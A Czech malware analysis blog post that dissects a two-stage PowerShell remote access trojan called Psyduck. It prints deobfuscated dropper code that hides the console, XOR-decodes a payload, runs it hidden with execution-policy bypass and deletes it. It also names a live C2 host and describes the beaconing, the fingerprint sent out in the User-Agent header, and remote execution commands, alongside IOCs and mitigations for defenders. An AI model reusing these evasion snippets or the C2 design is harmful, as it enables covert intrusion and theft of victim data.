Vojtěch Hron / n00bDebugger
Home/Analýza malware/Psyduck - PowerShell RAT
Analýza malware

Psyduck - PowerShell RAT

Přehled

SHA-256: feb46ecf8212f3d6d43afff5ff37558a97486ebea72059ea03b29b53f42ed23c

Klasifikace: Powershell RAT malware s dropperem

Tohle je detailní technická analýza Remote Access Trojanu, který jsem získal z Malware Bazaru. K ukázce mechanismů jsem použil vlastní plně deobfuscated verzi původního malwaru. Tento malware běží ve dvou fázích. Jako první dropper dekóduje payload a uloží ho na disk, ze kterého hned malware spustí. Po chvilce soubor na disku smaže, což způsobí že malware běží jenom v RAM a nezanechává na disku stopu. Payload jako takový obsahuje finální malware, který posílá požadavky na C2 server s dynamickým DNS přes nezašifrované HTTP, identifikuje oběť a čeká na příkazy od operátora. Sada příkazů zahrnuje libovolné spouštění PowerShellu, uploadování souborů na počítač oběti a snímání obrazovky - což stačí k počátečnímu přístupu a potenciálně k dalšímu pohybování se po síti.


Autor věnoval pozornost základním principům utajení:

  • Okno konzole je skryté.
  • Druhá fáze malwaru je po 2 sekundách odstraněna z disku.
  • Globální mutex zabraňuje vzniku duplicitních instancí.
  • Skript se vydává za legitimní monitorovací agenturu pro dodavatele.
  • Telemetrické údaje oběti jsou zakomponovány do HTTP headeru User-Agent.

Tyto techniky nejsou v prostředí malware ničím novým, ale stále jsou efektivní proti méně vyspělým detekčním systémům.


Trackovací jméno

Tento vzorek označuji jako Psyduck z důvodu lepší čitelnosti a přehledu analýzy. Název vznikl spojením PS (zkratka pro PowerShell) a "duck" podle subdomény C2 (duck12[.]dynuddns[.]net poskytované prostřednictvím poskytovatele DDNS dynuddns[.]net), z čehož vzniklo "psduck" a následně konečný název Psyduck. Není to veřejně poznávaný název, jenom moje vlastní interní označení.


Útočný řetězec

Pro útočný řetězec jsem udělal následující diagram:

utocny_retezec.png

Flow je cíleně minimální. Potom co dropper ukončí svou práci, druhá fáze bude existovat jako jenom jako PowerShell process, aniž by na disku existoval odpovídající soubor.


Fáze 1 - dropper

Schování konzole

První věc co dropper udělá že odstraní vlastní okno. Dělá to pomocí P/Invoke, kterým volá dvě funkce z Windows API.

Add-Type -Name JXR `
         -Namespace INF `
         -MemberDefinition @'
using System;
using System.Runtime.InteropServices;

public static class JXR
{
    [DllImport("kernel32.dll")]
    public static extern IntPtr GetConsoleWindow();

    [DllImport("user32.dll")]
    public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
}
'@
[INF.JXR]::ShowWindow([INF.JXR]::GetConsoleWindow(),0)

Argument 0 je v tomhle případě $W_HIDE, který schová okno jak z obrazovky, tak i z taskbaru. Pro uživatele se tím pádem nic vizuálně nestane.

Payload uložený v zakódované podobě: Base64 a XOR

Payload v druhé fázi je embedded jako Base64 string (v originálním dropperu byl tenhle velký Base64 string rozdělen do 246 variables, a následně spojen, to jsem kvůli čitelnosti už upravil na jeden velký string). Base64 samotné by bylo dost jednoduše obnovitelné, tak proto jeho autor to obalil ještě do XOR vstrvy s 32 bajtovým klíčem.

$baseBlob="etFEwDVi[...SNIP...]OxmbyfPN+DGsy0Klw=="
$decodedBaseBlob=[Convert]::FromBase64String($baseBlob)

$XORKey=[byte[]]@(70,242,73,202,27,49,99,224,151,175,243,25,175,10,3,89,112,7,113,60,141,18,10,7,187,69,129,165,216,68,100,240)
for($i=0; $i -lt $decodedBaseBlob.Length; $i++){
    $decodedBaseBlob[$i]=$decodedBaseBlob[$i] -bxor $XORKey[$i%$XORKey.Length]
}

Kontrukce je jednoduchá, ale stejně jednoduše obchází detekci signatur, které hledají známé strings v PowerShellu. A protože je celá druhá fáze v neaktiním dropperu zakódovaná, tak statická kontrola první fáze nerozpozná nic z fáze druhé.

Dropnout, spustit, smazat

Enkódovaný payload se zapíše do hardcoded path v Temp složce:

$filePath=[IO.Path]::Combine([IO.Path]::GetTempPath(),"agent_1781054578.ps1") 
[System.IO.File]::WriteAllBytes($filePath,$decodedBaseBlob)

Payload se spustí na pozadí jako nezávislý proces, bez viditelného okna, a zároveň obejde bezpečnostní omezení pro spouštění skriptů:

Start-Process powershell -Args "-WindowStyle Hidden -ep bypass -f `"$filePath`"" -WindowStyle Hidden

Jako poslední, dropper počká 2 sekundy - což stačí aby se stage2 načetl celý do RAM a úspěšně se spustil. Poté soubor odstraní:

Start-Sleep 2
Remove-Item $filePath -Force -EA 0
exit

Ve výsledku se provede skoro fileless execution. Druhá fáze je na disku přibližně 2 sekundy před tím než se úplně odstraní. Což ne že jenom obejde AV scan složek, ale i zahladí stopy že stage2 na systému vůbec někdy existoval.


Fáze 2 - Psyduck RAT

Maškaráda

Skript falšuje svou identitu, aby vypadal jako legitimní nástroj Apex Monitoring Co Fleet Monitor Agent. Takže i kdyby někdo získal Psyduck skript, který je na disku dostupný jenom přibližně 2 sekundy, mohl by dojít k mylnému závěru, že se jedná o dočasný soubor legitimního programu, za který se Psyduck vydává.

Když ale začneme zkoumat identitu, za kterou se Psyduck vydává, více do hloubky, zjistíme, že timestamp je nastavený do budoucnosti. Což už je validní indikátor k hlubšímu zkoumání skriptu:

<#
.SYNOPSIS
    Apex Monitoring Co Fleet Monitor Agent
.DESCRIPTION
    Endpoint telemetry collection agent v2.3.15.2152
    Monitors system health, hardware inventory, and compliance posture.
    Communicates with Apex Console via TCP/JSON protocol.
.NOTES
    Author:   Apex Monitoring Co Engineering Team
    Date:     2026-12-20
    Version:  2.3.15
    Build:    2152
    License:  Proprietary - (c) 2026 Apex Monitoring Co
#>

Psyduck také obsahoval kombinaci plně deobfuskovaných a částečně obfuskovaných částí kódu. Do plně obfuskovaných se většinou řadily funkce, které sbíraly informace o systému. Naopak mezi částečně deobfuskované patřily hlavně funkce nebo proměnné, které neměly pro samotný skript žádný reálný význam, například tahle funkce:

# Correlate Kerberos tickets for risk assessment
function Validate-Checkpoint8771 {
    param([string]$av3IRd)
    $healthSnapshotDepthSync = 2787
    $B81Lq2FPnf0Z = 91047
    $xQdp76mDJGn = 63799
    $phaseScanReport = 70465
    $BBG4U = 5381
    foreach ($II55 in $av3IRd.ToCharArray()) { $BBG4U = (($BBG4U -shl 5) + $BBG4U) + [int]$II55 }
    return $BBG4U
}

Skript také používá pseudo-komentáře, které působí technicky, ale ve výsledku nic konkrétního neříkají. Jeden takový je vidět už nahoře v ukázce, případně třeba tady. Může to působit, jako by kostra Psyducku (ve smyslu pseudo-kódu, ke kterému byla následně přidána samotná škodlivá část) byla vytvořena pomocí AI nebo alespoň AI asistovaně, to ale nelze s jistotou potvrdit ani vyvrátit - jde spíš o dojem než o prokazatelný fakt:

# ════════════════════════════════════════════════
#  Monitor WMI counters for throttle detection
#  Process CPU thermals for tag assignment
# ══════════════════════════════════════════════════════════ 

Donucení jedné instance

Aby se Psyduck nespustil dvakrát - což by zapříčinilo dvakrát tolik provozu a více detekovatelných procesů pro AMSI tím pádem snazší detekci, druhá fáze si vezme pojmenovaný mutex při startupu:

$script:instanceMutex = $null

try {
    $isRunning = $false

    $script:instanceMutex = [System.Threading.Mutex]::new(
        $true,
        "Global\677d95b1-c2a4-4c21-a54f-874ddf08e8c9",
        [ref]$isRunning
    )

    if (-not $isRunning) {
        try { $script:instanceMutex.Dispose() } catch { }
        exit
    }

} 
catch { }

GUID 677d95b1-c2a4-4c21-a54f-874ddf08e8c9 je spolehlivý indikátor toho že je oběť kompromitovaná. A proto je možná detekce přes sensor který zaznamenává vytvoření pojmenovaných mutexů může na základě toho blokovat aktivní infekci.

Konfigurace C2

V originální obfuscated verzi Psyduck malwaru, je C2 host a port uložené jako XOR a Base64 enkódované stringy (úpně to samé schéma které bylo použité pro ochranu payloadu v dropperu), takže statický sken originálního Psyduck neodhalí adresu. Po dekódování:

$C2ServerHost = "duck12.dynuddns.net"
$C2ServerPort = "1234"

Využití bezplatného poskytovatele dynamické DNS umožňuje operátorovi rychle přesměrovat doménu na novou IP adresu, klidně během pár minut, a tím efektivně obcházet blokace založené čistě na IP adresách - samotná doména totiž zůstává stejná. Zároveň absence TLS znamená, že veškerá komunikace (otisk hostitele v User-Agentu, názvy oken, screenshoty nebo výstupy příkazů) probíhá v otevřeném textu a dá se poměrně snadno odchytit ze síťového provozu.

Sběr informací o systému

Psyduck má 3 funkce na sbírání dat. GetBasicInfo, GetAdvancedInfoa getWindowInformation

getBasicInfo

Funkce pro počáteční sbírání dat, která se provede ještě před tím, než se Psyduck připojí k C2. Sbírá následující data:

Obsažené dataPůvodPopisek
Hostname[System.Net.Dns]::GetHostName()Hostname počítače oběti
Username a domain[System.Security.Principal.WindowsIdentity]::GetCurrent()Uživatelské jméno oběti a v jaké doméně se nachází
Windows verze[Environment]::OSVersionAktuální verze Windows systému
UAC politikaRegistry: ConsentPromptBehaviorAdminNastavení chování UAC promptu při elevaci práv
Defender výjimkyGet-MpPreference -EA 0).ExclusionPathSeznam složek které jsou ve Windows Defenderu vyloučeny

getAdvanceInfo

Funkce pro pokročilé sbírání dat je spuštěno po prvním úspěšném připojení a přibližně každých 63 sekund. Tyto data obsahují:

Obsažená dataPůvodPopisek
CPUGet-CimInstance Win32_ProcessorPočet jader a model procesoru
RAMGet-CimInstance Win32_ComputerSystemCelková velikost RAM
AVAntiVirusProduct v root/SecurityCenter2(WMI)Informace o právě aktivním antiviru
Veřejná IPHTTP GET na https://icanhazip.comAktuálně veřejná IP adresa
UAC politika (obnovená)Registry: ConsentPromptBehaviorAdminNastavení chování UAC promptu při elevaci práv
Defender výjimky (obnovené)Get-MpPreference -EA 0).ExclusionPathSeznam složek které jsou ve Windows Defenderu vyloučeny

Zatímco většina těchto údajů slouží primárně k základní identifikaci systému (hostname, uživatel, verze OS), některé mají i praktičtější význam z pohledu dalšího průběhu infekce. Konkrétně nastavení UAC umožňuje zjistit hodnotu ConsentPromptBehaviorAdmin, pokud je nastavená na 0, znamená to automatickou elevaci oprávnění bez zobrazení UAC promptu. Seznam výjimek ve Windows Defenderu pak ukazuje potenciální low-risk drop zóny, kam může operátor ukládat další payload bez okamžité detekce.

getWindowInfo

Funkce pro sběr informací o právě otevřeném okně. Tyto informace mohou sloužit například k identifikaci kampaně, ze které Psyduck pochází, případně k rozhodnutí, zda má smysl pokoušet se o další exfiltraci dat. Jasným signálem pro operátora může být například situace, kdy má oběť otevřené okno s názvem Microsoft Excel - Q4 Budget.xlsx.

Titul aktivního okna se získává pomocí volání P/Invoke na funkce GetForegroundWindow a GetWindowText v knihovně user32.dll; jedná se o stejný přístup, jaký byl použit v kódu pro skrytí konzole v první fázy

Otisk oběti v User-Agentu

Jednou s nejvýraznějších vlastností Psyducku, je způsob kterým exfiltruje data oběti. Každý HTTP request který Psyduck vytvoří obsahuje kompletní otisk oběti zakódovaný v HTTP headeru User-Agent v tomhle formátu:

$userAgent = $script:uniqueID + '\' + $script:computerHostname + '\' + $script:usernameAndDomain + '\' + $script:windowsVersion + '\' + $script:AVInfo + '\' + $script:UACBehavior + '\' + $script:DotNETVersion + '\' + $script:hasDefenderExclusions + '\' + $script:windowInformation

Psyduck posílá i proměnnou uniqueID, která je náhodně generovaná při prvním spuštění s předponou app_.

Tento přístup je chytrý z několika důvodů:

    1. Není potřeba žádná další samostatná exfiltrace - data oběti se pošlou ke každému hlášení Psyducku k C2.
    1. Schová se do normálního síťového provozu - HTTP User-Agent je očekávaný ve webovém provozu a málo kdy je rozebrán do hloubky.
    1. Aktivní okno ukazuje kontent - operátor vidí v reálném čase co oběť právě dělá v momentě co se Psyduck spustí.

C2 beaconing smyčka

Hlavní běhová smyčka pravidelně dotazuje C2 server na příkazy přes endpoint /Vre:

GET http://duck12.dynuddns.net:1234/Vre
User-Agent: app_<random>\<hostname>\<user>\<OS>\<AV>\<UAC>\<.NET>\<exclusions>\<window>>

Interval dotazování začíná na 5 000 ms (5 sekund). Pokud po sobě 5× selže request (např. C2 server je dočasně offline), interval se postupně zdvojnásobuje až na maximum 30 000 ms. Tento ústupový mechanismus snižuje „hluk" na síti v případě nedostupného C2 serveru a zároveň zvyšuje odolnost vůči dočasným výpadkům.

C2 server může vrátit následující odpovědi:

  • prázdné tělo (empty body) – žádné příkazy nejsou k dispozici, beaconing pokračuje.
  • řetězec s příkazem (command string) – příkaz je zpracován a následně vykonán.

Příkazy používají delimiter |V| pro oddělení typu příkazu a jeho parametrů.

Analýza setu příkazů

Psyduck implementuje 6 různých příkazů, které operátorovi umožňují provádět komplexní fáze počátečního přístupu přímo z C2 serveru.


Ex - Spuštění libovolného PowerShell kódu

Ex|V|<powershell kód>

Tento příkaz představuje nejvýkonnější funkci celého C2. Vytvoří ScriptBlock z řetězce dodaného C2 serverem a provede ho přímo v aktuální PowerShell relaci. Neexistuje zde žádné sandboxování, filtrování ani omezení, jakýkoliv validní PowerShell kód je spuštěn s oprávněními aktuálního uživatele. To operátorovi umožňuje:

  • extrahovat přihlašovací údaje (např. načtení Mimikatz přes IEX)
  • modifikovat souborový systém
  • zajistit perzistenci
  • provádět laterální pohyb
  • exfiltrovat data
  • načítat další moduly

AW - Titulek aktivního okna

AW

Na vyžádání získává název aktuálního aktivního (foreground) okna a odesílá ho na /AW. Slouží k potvrzení aktuální aktivity oběti — například zda má otevřenou konkrétní aplikaci před spuštěním další fáze operace.


SS - Screenshot

SS

Zachytí hlavní obrazovku pomocí .NET (System.Windows.Forms a System.Drawing), komprimuje snímek do JPEG (kvalita 60 jako kompromis mezi velikostí a čitelností), zakóduje do Base64 a odešle na /SS spolu s unikátním ID oběti. Screenshoty umožňují operátorovi vidět, co oběť aktuálně dělá, bez nutnosti spoléhat se pouze na názvy oken.


Sc - Drop a spuštění payloadu

Sc|V|<base64_binary>|V|<filename>

Dekóduje Base64 binární data přijatá z C2, zapíše je do %TEMP%\<filename> (pokud není název uveden, použije update.exe) a následně je spustí ve skrytém okně. Jedná se o hlavní mechanismus pro nasazení druhé fáze — ransomware, stealery nebo další implanty.


CK - Stažení a spuštění z C2

CK

Funguje podobně jako Sc, ale binární soubor se nestahuje inline, nýbrž z endpointu /CF. Tím se zmenšuje velikost jednotlivých příkazů a operátor může servírovat různé payloady různým obětem pomocí stejného příkazu. Soubor je uložen jako ce.exe v %TEMP%.


DLF - Stažení souboru na konkrétní lokaci

DLF|V|<directory>|V|<filename>|V|<execute: 0 nebo 1>

Nejflexibilnější příkaz pro doručování souborů. Stahuje data z /DF a ukládá je do jedné z předdefinovaných cest:

TokenCesta
Temp%TEMP%
AppData%APPDATA%
DesktopPlocha uživatele
DocumentsDokumenty
DownloadsStažené soubory

Pokud je třetí parametr nastaven na 1, soubor je po uložení okamžitě spuštěn. Výsledek operace (úspěch nebo chyba) je odeslán zpět na /DR.


Cl - Kill switch

Cl

Nastaví interní flag $originalSafetySwitch na $false, čímž způsobí ukončení hlavní beacon smyčky. Dojde k uvolnění globálního mutexu a ukončení procesu. Tento mechanismus umožňuje operátorovi bezpečně ukončit běh implantátu na konkrétní oběti bez zanechání běžících procesů.


Přehled C2 endpointů

EndpointMetodaSměrÚčel
/VreGETC2 → oběťDotazování na příkazy
/AWPOSToběť → C2Titulek aktivního okna
/SSPOSToběť → C2Odeslání screenshotu
/CFGETC2 → oběťStažení executable (pro CK)
/DFGETC2 → oběťStažení souboru (pro DLF)
/DRPOSToběť → C2Výsledek příkazu / chyba

C2 infrastruktura

VlastnostHodnota
Doménaduck12.dynuddns.net
DDNS providerdynuddns.net
Port1234
ProtokolHTTP (bez TLS)
Komunikaceplaintext

Využití bezplatného dynamického DNS poskytovatele umožňuje operátorovi rychle měnit cílový server C2 změnou IP adresy, čímž se obchází IP-based blokace, zatímco doména zůstává stejná.

Absence TLS znamená, že veškerá komunikace, včetně fingerprintu oběti v User-Agent hlavičce a všech POST dat (titulek okna, screenshoty, výsledky příkazů, probíhá v otevřeném textu a je zachytitelná pomocí síťového monitoringu.


Indikátory Kompromitace (IOC)

Hashe

SouborTypHodnota
Fáze 1 (dropper)SHA-256feb46ecf8212f3d6d43afff5ff37558a97486ebea72059ea03b29b53f42ed23c
Fáze 2 (Psyduck)SHA-2566f732fbbcbce8f4af84d65d6f016113819e3de4616e1b644b3d4c2086fdabe09

Síť

TypHodnota
C2 doménaduck12.dynuddns.net
C2 port1234
C2 protokolHTTP
C2 endpoint/Vre
C2 endpoint/AW
C2 endpoint/SS
C2 endpoint/CF
C2 endpoint/DF
C2 endpoint/DR
Externí služba pro zjištění IPhttps://icanhazip.com

Host

TypHodnota
Dočasný vytvořený soubor%TEMP%\agent_1781054578.ps1
Název uloženého spustitelného souboru%TEMP%\ce.exe (CK command)
Název uloženého spustitelného souboru%TEMP%\update.exe (/DLF default)
Název globálního mutexuGlobal\677d95b1-c2a4-4c21-a54f-874ddf08e8c9
Prefix unikátního ID obětiapp_
Oddělovač C2 příkazů|V|
Řetězec používaný pro maškaráduApex Monitoring Co Fleet Monitor Agent

Chování

TypHodnota
Vzor User-Agentapp_<random>\<hostname>\<user>\<OS>\<AV>\<UAC>\<.NET>\<exclusions>\<window>
Parametr pro obejití Execution Policy-ep bypass
Parametr skrytého spuštění-WindowStyle Hidden
WMI namespace a třídaroot/SecurityCenter2: AntiVirusProduct
Čtení registry klíčeHKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System (ConsentPromptBehaviorAdmin)

MITRE ATT&CK

IDTechnikaDetailyFáze
T1059.001Command and Scripting Interpreter: PowerShellCelý řetězec je PowerShell; Ex spouští libovolný kódObě
T1027Obfuscated Files or InformationBase64 + XOR enkódování payloadu i nastaveníObě
T1140Deobfuscate/Decode Files or InformationDekryptování XOR za běhuObě
T1564.003Hide Artifacts: Hidden WindowSW_HIDE přes WinAPIFáze 1
T1070.004Indicator Removal: File DeletionFáze 2 se po spuštění smažeFáze 1
T1562.001Impair Defenses-ep bypassFáze 1
T1036MasqueradingFalešná "Apex Monitoring Co" identitaFáze 2
T1082System Information DiscoveryOS, CPU, RAM, .NET verzeFáze 2
T1033System Owner/User DiscoveryUživatelské jméno a doménaFáze 2
T1016System Network Configuration DiscoveryVeřejná IP přes icanhazipFáze 2
T1518.001Software Discovery: Security SoftwareAV přes WMI SecurityCenter2Fáze 2
T1012Query RegistryUAC politika, Defender vyjímkyFáze 2
T1010Application Window DiscoveryGetForegroundWindow / GetWindowTextFáze 2
T1113Screen CaptureSS comandFáze 2
T1071.001Application Layer Protocol: WebHTTP C2 na portu 1234Fáze 2
T1571Non-Standard PortC2 na portu 1234Fáze 2
T1041Exfiltration Over C2 ChannelTelemetrie v User-Agent; screenshoty přes POSTFáze 2
T1105Ingress Tool TransferCK, Sc, DLF Stáhnout a spustitFáze 2
T1106Native APIShowWindow, GetForegroundWindowObě

Detekce a mitigace

Doporučuje se blokovat C2 doménu a IP adresu na úrovni síťového perimetru. Doména duck12.dynuddns.net by měla být přidána do DNS blocklistů a firewall pravidel. Zároveň je vhodné monitorovat HTTP komunikaci na nestandardním portu 1234. Pokud prostředí nevyžaduje použití dynamického DNS, lze zvážit blokaci celé domény dynuddns.net.

Je vhodné omezit spouštění PowerShell skriptů. Lze využít například Constrained Language Mode a politiky vynucující omezení spouštění nepodepsaných skriptů. Použití parametru -ep bypass by mělo být považováno za podezřelé a mělo by být monitorováno.

Doporučuje se zapnout PowerShell Script Block Logging (HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging). Tento mechanismus zaznamenává dešifrovaný a deobfuskovaný obsah každého skriptového bloku, včetně payloadů, které již nejsou dostupné na disku.

Je vhodné mít aktivní logging přes AMSI (Antimalware Scan Interface). AMSI zachytává PowerShell skripty před jejich spuštěním a předává je antivirovému řešení. Je důležité ověřit, že integrace AMSI je aktivní a aktuální.

Doporučuje se monitorovat WMI dotazy na root/SecurityCenter2. Legitimizní software jen zřídka potřebuje zjišťovat informace o antivirovém řešení za běhu. PowerShell proces provádějící takový dotaz by měl být považován za podezřelý.

Je vhodné sledovat vzorce vytváření a mazání souborů v adresáři %TEMP%. Kombinace vytvoření .ps1 souboru, jeho okamžitého spuštění ve skrytém režimu a následného smazání během několika sekund představuje vysoce podezřelé chování.

Doporučuje se zkontrolovat konfiguraci UAC. Malware explicitně ověřuje, zda je hodnota ConsentPromptBehaviorAdmin = 0 (automatická elevace bez potvrzení), což představuje zneužitelný stav. UAC by měl být nastaven tak, aby vyžadoval potvrzení pro všechny operace s administrátorskými oprávněními.

Je vhodné auditovat výjimky ve Windows Defenderu. Malware tyto výjimky kontroluje, protože představují bezpečné lokace pro ukládání dalších payloadů. Každá výjimka by měla být považována za citlivou konfiguraci a pravidelně revidována.

Závěr

Psyduck představuje schopný a pragmaticky navržený PowerShell RAT. Ve srovnání s běžným commodity malwarem nejde o nijak zvlášť komplexní nástroj, nicméně vykazuje solidní operační přístup: minimální stopu na systému, rychlé mazání artefaktů, fingerprinting oběti při každém requestu a flexibilní sadu příkazů pokrývající klíčové fáze počátečního přístupu, reconnaissance, staging souborů, spouštění kódu a sledování obrazovky.

Kombinace Base64+XOR obfuskace, skrytého spuštění konzole, obcházení Execution Policy, mazání jednotlivých fází z disku (fileless-like přístup) a využití Dynamic DNS C2 infrastruktury s fingerprintem v User-Agentu představuje reálnou výzvu pro méně vyspělé detekční mechanismy. V prostředí, kde je aktivní AMSI, PowerShell Script Block Logging a síťový monitoring, je však jeho detekce výrazně jednodušší.